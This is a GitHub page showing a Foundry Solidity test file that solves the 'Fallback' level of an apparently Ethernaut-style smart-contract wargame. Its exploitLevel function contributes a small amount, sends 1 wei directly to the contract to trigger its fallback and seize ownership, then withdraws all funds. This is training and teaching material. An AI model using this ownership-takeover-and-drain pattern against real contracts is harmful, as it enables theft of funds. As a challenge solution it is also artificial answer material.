-
Notifications
You must be signed in to change notification settings - Fork 38
Expand file tree
/
Copy pathFallback.t.sol
More file actions
53 lines (39 loc) · 1.44 KB
/
Copy pathFallback.t.sol
File metadata and controls
53 lines (39 loc) · 1.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// SPDX-License-Identifier: Unlicense
pragma solidity >=0.6.0;
pragma experimental ABIEncoderV2;
import "./utils/BaseTest.sol";
import "src/levels/Fallback.sol";
import "src/levels/FallbackFactory.sol";
contract TestFallback is BaseTest {
Fallback private level;
constructor() public {
// SETUP LEVEL FACTORY
levelFactory = new FallbackFactory();
}
function setUp() public override {
// Call the BaseTest setUp() function that will also create testsing accounts
super.setUp();
}
function testRunLevel() public {
runLevel();
}
function setupLevel() internal override {
/** CODE YOUR SETUP HERE */
levelAddress = payable(this.createLevelInstance(true));
level = Fallback(levelAddress);
// Check that the contract is correctly setup
assertEq(level.owner(), address(levelFactory));
}
function exploitLevel() internal override {
/** CODE YOUR EXPLOIT HERE */
vm.startPrank(player);
// send the minimum amount to become a contributor
level.contribute{value: 0.0001 ether}();
// send directly to the contract 1 wei, this will allow us to become the new owner
(bool sent, ) = address(level).call{value: 1}("");
require(sent, "Failed to send Ether to the level");
// now that we are the owner of the contract withdraw all the funds
level.withdraw();
vm.stopPrank();
}
}